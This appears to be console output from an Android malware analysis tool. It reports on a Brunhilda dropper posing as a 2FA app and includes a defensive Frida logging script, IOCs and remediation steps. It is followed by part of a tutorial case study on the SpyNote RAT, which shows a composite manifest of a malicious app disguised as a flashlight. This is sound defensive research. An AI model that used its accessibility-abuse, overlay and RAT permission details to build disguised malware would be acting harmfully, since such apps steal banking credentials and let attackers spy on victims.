╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── VirusTotal Report ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Detection
32
/
76
(
32
malicious,
0
suspicious,
35
clean) │
│ Threat Label trojan.brunhilda/andr │
│ Families brunhilda, andr, fimk │
│ File Type Android │
│ Common Name
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.apk │
│ First Seen
2020
-
10
-
03
│
│ Last Analyzed
2025
-
11
-
10
│
│ Submissions
15
submissions /
13
unique sources │
│ Tags [reflection] [apk] [obfuscated] [android] [telephony] [checks-gps] │
│ VT Link
https
:
//www.virustotal.com/gui/file/301bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Submitted As ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.apk |
0
f4733a3a188ca0ddf3f730b17b23e20.apk | SafeYourAccount.apk |
0
f4733a3a188ca0ddf3f730b17b23e20 (
1
).apk | sep_cerberus.apk |
60
df2725b2b20f64dd47ecc29c678abda86d41ee.apk | │
│
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.bin |
0
f4733a3a188ca0ddf3f730b17b23e20.virus │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
AV Engine Detections —
32
malicious /
0
suspicious /
76
total
╭──────────────────────┬────────────────────────────────────────────────┬──────────────╮
│ Engine │ Detection Name │ Verdict │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avast │
Android
:Brunhilda-A [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ DrWeb │ Android.DownLoader.
5078
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ ESET-NOD32 │ a variant of Android/TrojanDownloader.Agent.SU │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ F-Secure │ Malware.ANDROID/Agent.FIMK.Gen │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Fortinet │ Android/Agent.SU!tr │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Kaspersky │
HEUR
:Trojan-Downloader.AndroidOS.Agent.kf │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Sophos │ Andr/Xgen-AOV │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Symantec │ Trojan.Gen.
2
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ AVG │
Android
:Brunhilda-A [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ AhnLab-V3 │ PUP/Android.Agent.
1015709
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Alibaba │
TrojanDownloader
:Android/Agent.
653271
b4 │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avast-Mobile │
Android
:Brunhilda-C [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avira │ ANDROID/Agent.FIMK.Gen │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ BitDefenderFalx │ Android.Trojan.Brunhilda.A │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ CAT-QuickHeal │ Android.Banker.Q │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ CTX │ apk.trojan.brunhilda │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Cynet │ Malicious (
score
:
99
) │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Google │ Detected │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Ikarus │ Trojan-Downloader.AndroidOS.Agent │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ K7GW │ Trojan-Downloader (
0056
f8d71 ) │ MALICIOUS │
╰──────────────────────┴────────────────────────────────────────────────┴──────────────╯
Phase
3
: YARA Scanning
YARA
:
1
rule
(s) matched
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Rule
: BankingTrojan_Cerberus │
│
Desc
: Cerberus/Alien banking trojan - accessibility + clipboard hijack + crypto │
│
Category
: Banking Trojan │
│
MITRE
: T1417 │
│
Matched
: AccessibilityService, ClipboardManager, setPrimaryClip │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
4
: AI Analysis (Claude/claude-opus-
4
-
6
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── AI Analysis Results ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Classification
: Dropper |
Family
: Brunhilda |
Confidence
: High │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Executive Summary ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ This is a Brunhilda dropper disguised as a two-factor authentication (
2
FA) app called
'SafeYourAccount'
. Brunhilda is a Dropper-as-a-Service (DaaS) operation that wraps legitimate open-source apps with malicious dropper functionality to deliver second-stage banking trojans (commonly Alien/Cerberus variants). │
│ With
32
/
76
VirusTotal detections explicitly naming
'Brunhilda'
and
'TrojanDownloader'
,
and
capabilities including overlay attacks, accessibility service abuse,
and
package installation, this sample poses a critical threat to any user who installs it — particularly those targeted for banking credential theft via │
│ the dropped payload. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Technical Analysis ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ The package
'com.tfapasswords.app'
masquerades as a legitimate
2
FA/TOTP authenticator application. The app name
'SafeYourAccount'
is a classic social engineering lure — users seeking to protect their accounts ironically install malware. The package appears to be a trojanized version of the open-source
'andOTP'
│
│
or
similar TOTP app, as evidenced by legitimate components like barcode scanning (journeyapps.barcodescanner.CaptureActivity), material intro screens (heinrichreimersoftware.materialintro),
and
the AboutLibraries library (mikepenz.aboutlibraries). This is a hallmark of Brunhilda
operations
: wrapping legitimate │
│ apps with dropper capabilities to pass initial review. │
│ │
│ The Brunhilda dropper's primary mechanism relies on three critical permissions working in
concert
: SYSTEM_ALERT_WINDOW for overlay-based social engineering to trick users into granting permissions, REQUEST_INSTALL_PACKAGES to sideload the second-stage payload (typically an Alien/Cerberus banking trojan),
and
the │
│ AccessibilityService (com.tfapasswords.app.Activities.AccessibilityService) to automate permission grants
and
interact with the installation UI. The AccessibilityService
's onServiceConnected() method references '
alarm' strings, indicating it sets up recurring scheduled tasks — likely polling for payload delivery │
│
or
C2 instructions. The YARA match for Cerberus/Alien is consistent with Brunhilda's known payload families. │
│ │
│ The certificate claims to be from
'Google Inc.'
(CN=Android, O=Google Inc., L=Mountain View) but is self-signed — a trivial but effective deception against casual inspection. This fake Google certificate is a well-documented Brunhilda indicator. The obfuscation is light (ProGuard-level, score
3
/
100
) with
203
/
500
│
│ short class names, which is typical of Brunhilda samples that rely more on the legitimate app wrapper than heavy obfuscation for evasion. Obfuscated classes like Lb/b/k/r (location tracking), Lb/b/p/c1 (window overlay),
and
Lc/h/a/i/e (window overlay) contain the malicious functionality. │
│ │
│ The network IOC surface is deliberately clean in static analysis — no hardcoded C2 URLs,
only
references to github.com (from the legitimate library)
and
Android schema namespaces. This is expected for
Brunhilda
: the C2 configuration is either fetched dynamically after installation
or
embedded in encrypted │
│ preferences (note the
'PasswordEncryptedPreference'
class). The BootBroadcastReceiver ensures persistence across reboots, while the EncryptedBackupBroadcastReceiver
and
PlainTextBackupBroadcastReceiver likely handle encrypted configuration
or
payload storage rather than legitimate backup functionality. The │
│
'superuser'
string reference
and
root/superuser semantic finding (T1626) suggest the dropper may attempt privilege escalation on rooted devices. │
│ │
│ DrWeb
's detection as '
Android.DownLoader.
5078
' and Kaspersky'
s
'Trojan-Downloader.AndroidOS.Agent.kf'
confirm the primary function is downloading
and
installing a second-stage payload. ESET
's '
Android/TrojanDownloader.Agent.SU' corroborates this classification. The Brunhilda DaaS infrastructure typically uses │
│ Telegram channels
or
encrypted cloud storage for payload hosting, making static C2 extraction difficult. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Primary Capabilities ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ ► Second-stage payload downloading
and
installation (Dropper-as-a-Service) │
│ ► Accessibility Service abuse for automated UI interaction
and
permission escalation │
│ ► Overlay/SYSTEM_ALERT_WINDOW for social engineering
and
phishing │
│ ► Boot persistence via BroadcastReceiver │
│ ► Location tracking for geofencing/victim profiling │
│ ► Camera access for potential surveillance │
│ ► Encrypted preference storage for configuration/C2 data │
│ ► Legitimate
2
FA app functionality as cover │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
ID Technique Tactic Relevance
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
T1417 Input Capture Collection AccessibilityService (com.tfapasswords.app.Activities.Access
T1626 Abuse Elevation Control Privilege Escalation Semantic finding of
'superuser'
string indicates root/privil
Mechanism
T1407 Download New Code at Runtime Defense Evasion Primary dropper function — REQUEST_INSTALL_PACKAGES permissi
T1406 Obfuscated Files
or
Defense Evasion ProGuard obfuscation (
203
/
500
short class names), encrypted
Information
T1430 Location Tracking Collection LocationManager.getLastKnownLocation called in obfuscated cl
T1398 Boot
or
Logon Initialization Persistence BootBroadcastReceiver (com.tfapasswords.app.Receivers.BootBr
Scripts
T1444 Masquerade as Legitimate Defense Evasion Trojanized
2
FA authenticator app with working functionality;
Application
T1411 Input Prompt Credential Access SYSTEM_ALERT_WINDOW + WindowManager.addView overlay attacks
T1512 Video Capture Collection CAMERA permission requested — potential for covert photo/vid
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── IOCs for Threat Hunting ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ •
sha256
:
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ •
md5
:
0
f4733a3a188ca0ddf3f730b17b23e20 │
│ •
package
:com.tfapasswords.app │
│ •
app_name
:SafeYourAccount │
│ •
cert_sha256
:
2
c8c03d8c0b8c18c9f33c88d8647471ab4d426b0d4f7ff2ed61dd1ad94d50415 │
│ •
service
:com.tfapasswords.app.Activities.AccessibilityService │
│ •
receiver
:com.tfapasswords.app.Receivers.BootBroadcastReceiver │
│ •
receiver
:com.tfapasswords.app.Receivers.EncryptedBackupBroadcastReceiver │
│ •
receiver
:com.tfapasswords.app.Receivers.PlainTextBackupBroadcastReceiver │
│ •
cert_cn_spoof
:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Remediation Steps ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
1
.
1
. Immediately uninstall
'SafeYourAccount'
(com.tfapasswords.app) from the device │
│
2
.
2
. Check Settings → Accessibility → Installed Services
and
disable/remove any suspicious accessibility services │
│
3
.
3
. Review Settings → Apps for any recently installed unknown applications that may be the dropped second-stage payload │
│
4
.
4
. Change all banking
and
financial account passwords from a separate, clean device │
│
5
.
5
. Contact your bank to report potential compromise
and
request enhanced monitoring/new credentials │
│
6
.
6
. If the app was used as a
2
FA authenticator, re-enroll all
2
FA tokens from a clean device — the attacker may have captured TOTP seeds │
│
7
.
7
. Factory reset the device if a second-stage payload was installed, as it may have deeper persistence │
│
8
.
8
. Enable Google Play Protect
and
only
install apps from the official Google Play Store │
│
9
.
9
. Report the sample SHA256 to your organization's SOC
and
threat intelligence platform │
│
10
.
10
. Monitor bank accounts
and
credit reports for unauthorized activity for at least
90
days │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Frida Hooks for Dynamic Analysis ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
1
// Brunhilda Dropper Analysis - Frida Hook Script │
│
2
// Target: com.tfapasswords.app (SafeYourAccount / Brunhilda DaaS) │
│
3
// Purpose: Intercept dropper behavior, payload download, overlay attacks, accessibility abuse │
│
4
│
│
5
Java.
perform
(
function
() { │
│
6
console.
log
(
'[*] Brunhilda Dropper Frida Hooks Loaded'
); │
│
7
console.
log
(
'[*] Target: com.tfapasswords.app'
); │
│
8
│
│
9
// ========== HOOK 1: AccessibilityService Lifecycle ========== │
│
10
// Captures when the malicious AccessibilityService activates and processes events │
│
11
try { │
│
12
var AccessibilityService = Java.
use
(
'com.tfapasswords.app.Activities.AccessibilityService'
); │
│
13
│
│
14
AccessibilityService.onServiceConnected.implementation =
function
() { │
│
15
console.
log
(
'[CRITICAL] AccessibilityService.onServiceConnected() called - dropper activating!'
); │
│
16
console.
log
(
'[CRITICAL] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
17
this.
onServiceConnected
(); │
│
18
}; │
│
19
│
│
20
AccessibilityService.onAccessibilityEvent.implementation =
function
(event) { │
│
21
if (event != null) { │
│
22
console.
log
(
'[ACCESSIBILITY] Event Type: '
+ event.
getEventType
()); │
│
23
console.
log
(
'[ACCESSIBILITY] Package: '
+ event.
getPackageName
()); │
│
24
console.
log
(
'[ACCESSIBILITY] Class: '
+ event.
getClassName
()); │
│
25
console.
log
(
'[ACCESSIBILITY] Text: '
+ event.
getText
()); │
│
26
} │
│
27
this.
onAccessibilityEvent
(event); │
│
28
}; │
│
29
console.
log
(
'[+] Hooked AccessibilityService'
); │
│
30
}
catch
(e) { │
│
31
console.
log
(
'[-] AccessibilityService hook failed: '
+ e); │
│
32
} │
│
33
│
│
34
// ========== HOOK 2: Package Installation (Payload Delivery) ========== │
│
35
// Captures the dropper installing second-stage banking trojan │
│
36
try { │
│
37
var Intent = Java.
use
(
'android.content.Intent'
); │
│
38
Intent.setAction.implementation =
function
(action) { │
│
39
if (action && (action.
indexOf
(
'INSTALL'
) !== -
1
|| action.
indexOf
(
'PACKAGE'
) !== -
1
)) { │
│
40
console.
log
(
'[DROPPER] Intent.setAction: '
+ action); │
│
41
console.
log
(
'[DROPPER] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
42
} │
│
43
return this.
setAction
(action); │
│
44
}; │
│
45
│
│
46
var PackageInstaller = Java.
use
(
'android.content.pm.PackageInstaller'
); │
│
47
PackageInstaller.createSession.implementation =
function
(params) { │
│
48
console.
log
(
'[DROPPER] PackageInstaller.createSession called!'
); │
│
49
console.
log
(
'[DROPPER] Install reason - potential second-stage payload delivery'
); │
│
50
return this.
createSession
(params); │
│
51
}; │
│
52
console.
log
(
'[+] Hooked Package Installation'
); │
│
53
}
catch
(e) { │
│
54
console.
log
(
'[-] PackageInstaller hook failed: '
+ e); │
│
55
} │
│
56
│
│
57
// ========== HOOK 3: Window Overlay Attacks ========== │
│
58
// Captures overlay creation used for social engineering / phishing │
│
59
try { │
│
60
var WindowManager = Java.
use
(
'android.view.WindowManager'
); │
│
61
// WindowManager is an interface, hook the implementation │
│
62
var WindowManagerImpl = Java.
use
(
'android.view.WindowManagerImpl'
); │
│
63
WindowManagerImpl.addView.implementation =
function
(view, params) { │
│
64
console.
log
(
'[OVERLAY] WindowManager.addView called!'
); │
│
65
var lp = Java.
cast
(params, Java.
use
(
'android.view.WindowManager$LayoutParams'
)); │
│
66
console.
log
(
'[OVERLAY] Type: '
+ lp.type.value +
' (2038=TYPE_APPLICATION_OVERLAY)'
); │
│
67
console.
log
(
'[OVERLAY] Flags: '
+ lp.flags.value); │
│
68
console.
log
(
'[OVERLAY] View class: '
+ view.
getClass
().
getName
()); │
│
69
console.
log
(
'[OVERLAY] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
70
this.
addView
(view, params); │
│
71
}; │
│
72
console.
log
(
'[+] Hooked WindowManager overlay'
); │
│
73
}
catch
(e) { │
│
74
console.
log
(
'[-] WindowManager hook failed: '
+ e); │
│
75
} │
│
76
│
│
77
// ========== HOOK 4: Location Tracking (Geofencing) ========== │
│
78
// Captures location queries used for victim profiling or geofence evasion │
│
79
try { │
│
80
var LocationManager = Java.
use
(
'android.location.LocationManager'
); │
│
81
LocationManager.getLastKnownLocation.implementation =
function
(provider) { │
│
82
var location = this.
getLastKnownLocation
(provider); │
│
83
console.
log
(
'[LOCATION] getLastKnownLocation provider: '
+ provider); │
│
84
if (location != null) { │
│
85
console.
log
(
'[LOCATION] Lat: '
+ location.
getLatitude
() +
' Lon: '
+ location.
getLongitude
()); │
│
86
} │
│
87
return location; │
│
88
}; │
│
89
console.
log
(
'[+] Hooked LocationManager'
); │
│
90
}
catch
(e) { │
│
91
console.
log
(
'[-] LocationManager hook failed: '
+ e); │
│
92
} │
│
93
│
│
94
// ========== HOOK 5: AlarmManager (Scheduled Tasks) ========== │
│
95
// Captures alarm-based scheduling used by AccessibilityService for periodic C2 polling │
│
96
try { │
│
97
var AlarmManager = Java.
use
(
'android.app.AlarmManager'
); │
│
98
AlarmManager.setExact.implementation =
function
(type, triggerAtMillis, operation) { │
│
99
console.
log
(
'[ALARM] setExact - Type: '
+ type +
', Trigger: '
+ triggerAtMillis); │
│
100
console.
log
(
'[ALARM] PendingIntent: '
+ operation); │
│
101
this.
setExact
(type, triggerAtMillis, operation); │
│
102
}; │
│
103
AlarmManager.setRepeating.implementation =
function
(type, triggerAtMillis, intervalMillis, operation) { │
│
104
console.
log
(
'[ALARM] setRepeating - Type: '
+ type +
', Interval: '
+ intervalMillis +
'ms'
); │
│
105
console.
log
(
'[ALARM] PendingIntent: '
+ operation); │
│
106
this.
setRepeating
(type, triggerAtMillis, intervalMillis, operation); │
│
107
}; │
│
108
AlarmManager.set.
overload
(
'int'
,
'long'
,
'android.app.PendingIntent'
).implementation =
function
(type, triggerAtMillis, operation) { │
│
109
console.
log
(
'[ALARM] set - Type: '
+ type +
', Trigger: '
+ triggerAtMillis); │
│
110
this.
set
(type, triggerAtMillis, operation); │
│
111
}; │
│
112
console.
log
(
'[+] Hooked AlarmManager'
); │
│
113
}
catch
(e) { │
│
114
console.
log
(
'[-] AlarmManager hook failed: '
+ e); │
│
115
} │
│
116
│
│
117
// ========== HOOK 6: Network Communications (C2 Discovery) ========== │
│
118
// Captures all HTTP connections to discover dynamically loaded C2 URLs │
│
119
try { │
│
120
var URL = Java.
use
(
'java.net.URL'
); │
│
121
URL.$init.
overload
(
'java.lang.String'
).implementation =
function
(url) { │
│
122
console.
log
(
'[NETWORK] URL created: '
+ url); │
│
123
if (url.
indexOf
(
'schemas.android.com'
) === -
1
&& url.
indexOf
(
'github.com'
) === -
1
) { │
│
124
console.
log
(
'[NETWORK] *** POTENTIAL C2 URL: '
+ url +
' ***'
); │
│
125
console.
log
(
'[NETWORK] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
126
} │
│
127
return this.$
init
(url); │
│
128
}; │
│
129
│
│
130
var HttpURLConnection = Java.
use
(
'java.net.HttpURLConnection'
); │
│
131
HttpURLConnection.connect.implementation =
function
() { │
│
132
console.
log
(
'[NETWORK] HttpURLConnection.connect: '
+ this.
getURL
().
toString
()); │
│
133
this.
connect
(); │
│
134
}; │
│
135
│
│
136
// OkHttp (commonly used) │
│
137
try { │
│
138
var OkHttpClient = Java.
use
(
'okhttp3.OkHttpClient'
); │
│
139
var RealCall = Java.
use
(
'okhttp3.RealCall'
); │
│
140
RealCall.execute.implementation =
function
() { │
│
141
var request = this.
request
(); │
│
142
console.
log
(
'[OKHTTP] '
+ request.
method
() +
' '
+ request.url(
).
toString
()); │
│
143
var headers = request.
headers
(); │
│
144
for (var i =
0
; i < headers.
size
(); i++) { │
│
145
console.
log
(
'[OKHTTP] Header: '
+ headers.
name
(i) +
': '
+ headers.
value
(i)); │
│
146
} │
│
147
return this.
execute
(); │
│
148
}; │
│
149
}
catch
(e) {
/* OkHttp not present */
} │
│
150
console.
log
(
'[+] Hooked Network communications'
); │
│
151
}
catch
(e) { │
│
152
console.
log
(
'[-] Network hook failed: '
+ e); │
│
153
} │
│
154
│
│
155
// ========== HOOK 7: Reflection (Anti-Analysis/Dynamic Loading) ========== │
│
156
// Captures reflection calls that may be used to dynamically invoke dropper methods │
│
157
try { │
│
158
var Class = Java.
use
(
'java.lang.Class'
); │
│
159
Class.forName.
overload
(
'java.lang.String'
).implementation =
function
(name) { │
│
160
if (name.
indexOf
(
'com.tfapasswords'
) !== -
1
|| name.
indexOf
(
'dalvik'
) !== -
1
|| name.
indexOf
(
'dex'
) !== -
1
) { │
│
161
console.
log
(
'[REFLECTION] Class.forName: '
+ name); │
│
162
} │
│
163
return this.
forName
(name); │
│
164
}; │
│
165
console.
log
(
'[+] Hooked Reflection'
); │
│
166
}
catch
(e) { │
│
167
console.
log
(
'[-] Reflection hook failed: '
+ e); │
│
168
} │
│
169
│
│
170
// ========== HOOK 8: SharedPreferences (Encrypted Config) ========== │
│
171
// Captures access to PasswordEncryptedPreference which may store C2 config │
│
172
try { │
│
173
var SharedPreferences = Java.
use
(
'android.content.SharedPreferences'
); │
│
174
var Context = Java.
use
(
'android.content.Context'
); │
│
175
Context.getSharedPreferences.implementation =
function
(name, mode) { │
│
176
console.
log
(
'[PREFS] getSharedPreferences: '
+ name +
' mode: '
+ mode); │
│
177
return this.
getSharedPreferences
(name, mode); │
│
178
}; │
│
179
console.
log
(
'[+] Hooked SharedPreferences'
); │
│
180
}
catch
(e) { │
│
181
console.
log
(
'[-] SharedPreferences hook failed: '
+ e); │
│
182
} │
│
183
│
│
184
// ========== HOOK 9: Boot Receiver (Persistence) ========== │
│
185
try { │
│
186
var BootReceiver = Java.
use
(
'com.tfapasswords.app.Receivers.BootBroadcastReceiver'
); │
│
187
BootReceiver.onReceive.implementation =
function
(context, intent) { │
│
188
console.
log
(
'[PERSISTENCE] BootBroadcastReceiver.onReceive triggered!'
); │
│
189
console.
log
(
'[PERSISTENCE] Action: '
+ intent.
getAction
()); │
│
190
this.
onReceive
(context, intent); │
│
191
}; │
│
192
console.
log
(
'[+] Hooked BootBroadcastReceiver'
); │
│
193
}
catch
(e) { │
│
194
console.
log
(
'[-] BootBroadcastReceiver hook failed: '
+ e); │
│
195
} │
│
196
│
│
197
// ========== HOOK 10: File I/O (Payload Write) ========== │
│
198
// Captures file operations that may indicate payload being written to disk │
│
199
try { │
│
200
var FileOutputStream = Java.
use
(
'java.io.FileOutputStream'
); │
│
201
FileOutputStream.$init.
overload
(
'java.io.File'
).implementation =
function
(file) { │
│
202
var path = file.
getAbsolutePath
(); │
│
203
if (path.
indexOf
(
'.apk'
) !== -
1
|| path.
indexOf
(
'.dex'
) !== -
1
|| path.
indexOf
(
'.jar'
) !== -
1
) { │
│
204
console.
log
(
'[FILE] *** PAYLOAD WRITE: '
+ path +
' ***'
); │
│
205
console.
log
(
'[FILE] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
206
} │
│
207
return this.$
init
(file); │
│
208
}; │
│
209
console.
log
(
'[+] Hooked FileOutputStream'
); │
│
210
}
catch
(e) { │
│
211
console.
log
(
'[-] FileOutputStream hook failed: '
+ e); │
│
212
} │
│
213
│
│
214
// ========== HOOK 11: Camera Access ========== │
│
215
try { │
│
216
var Camera = Java.
use
(
'android.hardware.Camera'
); │
│
217
Camera.open.
overload
(
'int'
).implementation =
function
(cameraId) { │
│
218
console.
log
(
'[CAMERA] Camera.open(id='
+ cameraId +
') - covert capture attempt!'
); │
│
219
return this.
open
(cameraId); │
│
220
}; │
│
221
console.
log
(
'[+] Hooked Camera'
); │
│
222
}
catch
(e) { │
│
223
console.
log
(
'[-] Camera hook failed: '
+ e); │
│
224
} │
│
225
│
│
226
console.
log
(
'[*] All Brunhilda dropper hooks installed successfully'
); │
│
227
console.
log
(
'[*] Monitor output for C2 URLs, payload delivery, and overlay attacks'
); │
│
228
}); │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Saving Reports...
✓ JSON
report
: reports/com_tfapasswords_app_20260330_111913.json
✓ Frida
script
: reports/com_tfapasswords_app_frida_hooks.js
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Analysis completed in
113.2s
JSON
Report
: reports/com_tfapasswords_app_20260330_111913.json
Frida
Script
: reports/com_tfapasswords_app_frida_hooks.js
11
:
19
:
13
(base) andrey
@andrey-lab
android_malware_analysis ±|main ✗|→
Case Study 3: SpyNote/SpyMax — Remote Access Trojan
Background
SpyNote is an Android Remote Access Trojan (RAT) first observed around 2016. Its builder was publicly leaked, and successive versions (SpyNote v3 through v5, then rebranded as SpyMax starting with v6) have been in continuous circulation on underground forums, Telegram channels, and GitHub. Unlike FluBot and Cerberus which focus on banking credential theft, SpyNote/SpyMax provides full remote access to the compromised device.
SpyNote has been used by:
-
Crimeware operators targeting financial fraud
-
Threat actors with suspected espionage motivations, with reporting noting campaigns in Middle East and South Asia contexts (see ESET, Kaspersky threat intelligence reports for specific samples)
-
Stalkerware operators for domestic surveillance
It is notable because its builder is widely available, making it easy to deploy even for non-technical operators. However, its functionality is consistent across variants, making analysis straightforward.
SpyNote Capabilities
SpyNote provides the following remote control capabilities to its operator:

Static Analysis of SpyNote
Manifest — complete capability declaration:
<!-- SpyNote AndroidManifest.xml (composite from analyzed samples) -->
<
manifest
xmlns:android
=
"http://schemas.android.com/apk/res/android"
package
=
"com.example.flashlight"
>
<!-- Disguised as utility app -->
<!-- RAT capabilities -->
<
uses-permission
android:name
=
"android.permission.CAMERA"
/>
<
uses-permission
android:name
=
"android.permission.RECORD_AUDIO"
/>
<
uses-permission
android:name
=
"android.permission.ACCESS_FINE_LOCATION"
/>
<
uses-permission
android:name
=
"android.permission.ACCESS_COARSE_LOCATION"
/>
<
uses-permission
android:name
=
"android.permission.READ_SMS"
/>
<
uses-permission
android:name
=
"android.permission.SEND_SMS"
/>
<
uses-permission
android:name
=
"android.permission.READ_CONTACTS"
/>
<
uses-permission
android:name
=
"android.permission.READ_CALL_LOG"
/>
<
uses-permission
android:name
=
"android.permission.READ_EXTERNAL_STORAGE"
/>
<
uses-permission
android:name
=
"android.permission.WRITE_EXTERNAL_STORAGE"
/>
<!-- Persistence and control -->
<
uses-permission
android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<
uses-permission
android:name
=
"android.permission.FOREGROUND_SERVICE"
/>
<!--
NOTE:
BIND_DEVICE_ADMIN and BIND_NOTIFICATION_LISTENER_SERVICE are NOT declared
as <uses-permission> by apps. They are framework-enforced binding protections
placed on the component itself (android:permission attribute on the receiver/service).
This restricts binding to the system only. See component declarations below. -->
<
uses-permission
android:name
=
"android.permission.SYSTEM_ALERT_WINDOW"
/>
<
uses-permission
android:name
=
"android.permission.REQUEST_INSTALL_PACKAGES"
/>
<
application
android:label
=
"Flashlight"
android:icon
=
"@drawable/flashlight_icon"
>
<!-- Main activity with minimal UI - just shows a flashlight -->
<
activity
android:name
=
".MainActivity"
/>
<!-- Background service - actual RAT functionality -->
<
service
android:name
=
".core.RATService"
android:exported
=
"false"
android:foregroundServiceType
=
"location|camera|microphone"
/>
<!-- Accessibility Service - keylogging and app monitoring -->
<
